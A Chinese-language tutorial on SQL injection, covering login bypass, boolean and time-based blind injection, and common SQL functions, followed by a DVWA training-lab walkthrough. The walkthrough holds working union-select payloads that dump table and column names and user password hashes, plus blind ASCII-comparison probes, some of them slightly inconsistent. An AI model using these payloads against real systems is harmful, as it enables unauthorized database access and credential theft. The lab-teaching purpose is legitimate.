SQL注入技术分享及DVWA靶场通关
SQL注入攻击是一种常见的网络攻击手段,它利用了Web应用程序对用户输入数据的验证不足或处理不当的漏洞。攻击者通过在应用程序的输入字段中插入恶意的SQL代码片段,从而操纵后台数据库执行非预期的命令。SQL注入攻击的危害性极大,它不仅能够导致数据的泄露和篡改,还可能被用于执行恶意代码、获取系统权限、进一步攻击其他系统等。
SQL盲注的基本原理
SQL注入是一种网络攻击技术,它利用Web应用程序对用户输入数据的合法性验证不足或过滤不严的漏洞,攻击者可以在应用程序中预定义的查询语句的结尾上添加恶意的SQL代码片段,从而欺骗数据库服务器执行非授权的任意查询,进一步获取数据库中的敏感信息或执行恶意操作。
SQL盲注的工作机制
用户输入未验证:攻击者利用Web应用程序中用户输入的数据未经过适当验证或转义的弱点。
构造恶意输入:攻击者构造包含恶意SQL代码的输入,这些代码通常被插入到表单字段、URL参数、HTTP头部等位置。
数据库错误解析:当Web应用程序将恶意输入直接拼接到SQL查询语句中时,数据库服务器会错误地解析这些输入,并执行其中的SQL代码。
执行非预期操作:由于恶意SQL代码的执行,攻击者可以执行非授权的数据库操作,如数据查询、数据修改、数据删除等。
信息泄露:攻击者可以通过SQL注入获取数据库的敏感信息,如用户名、密码、信用卡信息等。
举例说明SQL注入攻击是如何发生的
假设有一个简单的登录页面,其中用户名和密码字段的值被直接拼接到SQL查询语句中,用于验证用户身份。
正常的SQL查询语句可能是这样的:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
然而,如果应用程序没有对用户输入进行适当的验证或转义,攻击者可以尝试在用户名或密码字段中输入恶意的SQL代码。例如,攻击者可能在用户名字段中输入:
' OR '1'='1'; --
这样,原始的SQL查询语句将被修改为:
SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'password';
由于SQL语句中的--是注释符号,它后面的内容将被数据库服务器忽略。因此,上述查询语句实际上变成了:
SELECT * FROM users WHERE username = '' OR '1'='1';
这个查询语句将返回所有用户的记录,因为'1'='1'始终为真。攻击者通过这种方式绕过了身份验证,获得了对应用程序的未授权访问。
这个例子只是SQL注入攻击的一种简单形式,实际上攻击者可以使用更复杂的SQL代码片段来执行更复杂的操作,如数据篡改、数据删除等。
SQL盲注有哪些分类?
总体来讲,盲注分为布尔型和延时型两大类。
布尔型就是上“查询成功”和“查询失败”,根据SQL语句查询的真和假,WEB程序有两种不同的回显,这两种不同的回显就被称为“布尔回显”。
延时型也就是所谓的时间盲注,即在无法通过布尔盲注判断的情况下,通过响应时长来判断。在做延时盲注时,攻击者构造的SQL语句是这样的意思:如果满足xx条件,就sleep(5),否则就不sleep。数据库如果执行了sleep()就会延时,而WEB程序和数据库做交互就会等数据库的这个延时,用户(攻击者)和WEB程序做交互那么用户就也得等WEB页面的这个延时,所以攻击者只需要根据页面的响应时间的长短就可以判断xx条件是否满足了。而这个xx条件,可能就是“数据库名的第一位是否为a”这样的判断语句。
这里将布尔盲注又细分出了一个新的类型——报错盲注,这个报错盲注和我们通常说的报错注入是完全不同的东西,它的特点在于,当攻击者尝试注入SQL代码时,由于数据库查询的错误,错误信息会被返回给攻击者,进而泄露了数据库的结构或内容。
盲注的步骤
学生查询的例子:SELECT name,majority FROM student WHERE student_id = '$id'; 其中$id为用户输入,假设为布尔盲注,回显为“查询成功”和“查询失败”。
关于找注入点比较简单,学过SQL注入应该都会,如果题目给了源码就直接看着SQL语句构造就行了。
如果没有给源码,我们需要先测试字段类型是字符型还是数字型,然后看是否有回显,然后用or 1=1#之类的东西去测试。具体测试时,我们先想象他的SQL语句是select xx from yy where zz = '$your_input'; 因为基本所有题的SQL语句都是这个结构,在这个SQL语句结构的基础上去测试就好了。
所谓的condition就是某个条件,这个条件的真与假可以影响SQL语句的查询结果,进而影响WEB页面的回显。例如输入0' or 1=1#和0' or 1=2#(#是注释符):
SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#' #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#' #查询失败
这里我们可以明确的知道student_id为0的学员是不可能存在的,那么上述SQL语句的查询结果就完全由or后面的1=1和1=2来决定了。SQL中=意为“是否相等”,所以1=1就表示1是否等于1,这是一个布尔表达式,它的结果只有True和False两种。
这个能直接影响整个SQL语句查询结果的1=1和1=2,也就是这个布尔条件表达式,就是我们目前Step 2要构造的condition。
现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句,就可以了!
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....
SQL 常用函数
SQL 拥有很多可用于计数和计算的内建函数。
函数的使用语法:
SELECT function(列) FROM 表;
1. 字符串函数
CONCAT()
语法:CONCAT(string1, string2, ...)
实例:SELECT CONCAT('Hello', ' ', 'World') AS Greeting;
UPPER() 和 LOWER()
语法:UPPER(string) 和 LOWER(string)
实例:SELECT UPPER('hello world') AS UppercaseString, LOWER('HELLO WORLD') AS LowercaseString;
TRIM()
语法:TRIM([BOTH | LEADING | TRAILING] trim_character FROM string)
实例:SELECT TRIM(' Hello World ') AS TrimmedString;
SUBSTRING()
语法(不同数据库可能有不同语法,这里是MySQL的示例):SUBSTRING(string, start, length)
实例:SELECT SUBSTRING('Hello World', 1, 5) AS SubstringResult;
2. 数值函数
ROUND()
语法:ROUND(number, decimals)
实例:SELECT ROUND(123.4567, 2) AS RoundedNumber;
ABS()
语法:ABS(number)
实例:SELECT ABS(-123) AS AbsoluteValue;
CEIL() 和 FLOOR()
语法:CEIL(number) 和 FLOOR(number)
实例:SELECT CEIL(123.45) AS Ceiling, FLOOR(123.45) AS Floor;
3. 日期和时间函数
NOW()
语法:NOW()
实例:SELECT NOW() AS CurrentDateTime;
CURDATE() 和 CURTIME()
语法:CURDATE() 和 CURTIME()
实例:SELECT CURDATE() AS CurrentDate, CURTIME() AS CurrentTime;
DATE_FORMAT()
语法(MySQL示例):DATE_FORMAT(date, format)
实例:SELECT DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%s') AS FormattedDateTime;
DAY()、MONTH()、YEAR()
语法:DAY(date), MONTH(date), YEAR(date)
实例:SELECT DAY(NOW()) AS Day, MONTH(NOW()) AS Month, YEAR(NOW()) AS Year;
4. 聚合函数
COUNT()
语法:COUNT(*) 或 COUNT(column_name)
实例:SELECT COUNT(*) AS TotalRecords FROM employees;
SUM()
语法:SUM(column_name)
实例:SELECT SUM(salary) AS TotalSalary FROM employees;
AVG()
语法:AVG(column_name)
实例:SELECT AVG(salary) AS AverageSalary FROM employees;
MAX() 和 MIN()
语法:MAX(column_name) 和 MIN(column_name)
实例:SELECT MAX(salary) AS MaxSalary, MIN(salary) AS MinSalary FROM employees;
这些只是SQL函数中的一小部分,不同的数据库系统(如MySQL、SQL Server、Oracle等)可能具有更多的特定函数和语法差异。在使用时,请根据您所使用的数据库系统的文档进行参考。
SQL注入之DVWA靶场通关
步骤(算法、程序)、数据记录与处理、结果分析等
发现可查询说明没有对特殊字符进行防护,存在注入点 (2)开始判断字符查询的数量 三个的时候报错,证明只有两个字段 (3)判断查询结果显示的位置 (5)查看版本 (4)获取数据库名 (5)表名 1' And 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dvwa' limit 1,1;# (6)列名和类型 1' and 1=2 union select COLUMN_NAME,COLUMN_TYPE from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' limit 4,1;# 1' and 1=2 union select COLUMN_NAME,COLUMN_TYPE from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' limit 4,1;# (7)表内数据条数 1' and 1=2 union select 1,count(*) from dvwa.users;# (8)用户信息 1' and 1=2 union select 1,CONCAT(user,'-',password) from dvwa.users limit 0,1;#
使用id=1’ 结果报错 使用id=1 and 1=1 再次验证,将id修改成1 and 1=2 由此可判断,注入方式为数字型注入
输入1 order by 2%23 尝试1 order by 2%23 由此可得,字段数为2
输入1 union select 1, database()%23 可以看到数据库名为dvwa
1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23 由于不识别单引号,所以把平时用的‘dvwa’用database()代替,并得到表名为guestbook和users
1 union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273%23 因为不识别单引号,无法使用’users’,使用16进制数Ox7573657273获取所有列名
1 union select group_concat(user),group_concat(password)from users%23
可以通过闭合单引号,来破解limit 1 的限制 输入 1’ and ‘1’=’1 输入 1’ and ‘1’=’2
输入1’ order by 2# 输入1’ order by 3#
输入1' union select 1,database()# 数据库名为dvwa
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
输入1' union select group_concat(user),group_concat(password) from users#
1 1 \ 1’ # 通过上述返回的结果可知,其闭合方式是 ‘’
1' and (select ascii(substr(database(),1,1)) > 111) # 1' and (select ascii(substr(database(),1,1)) > 120) # 1' and (select ascii(substr(database(),1,1)) > 115) # 1' and (select ascii(substr(database(),1,1)) > 113) # 1' and (select ascii(substr(database(),1,1)) = 114) # ‘o’的ASCLL码为111 1' and (select ascii(substr(database(),1,2)) = 111) # ‘t’的ASCLL码为116 1' and (select ascii(substr(database(),1,4)) = 116) # |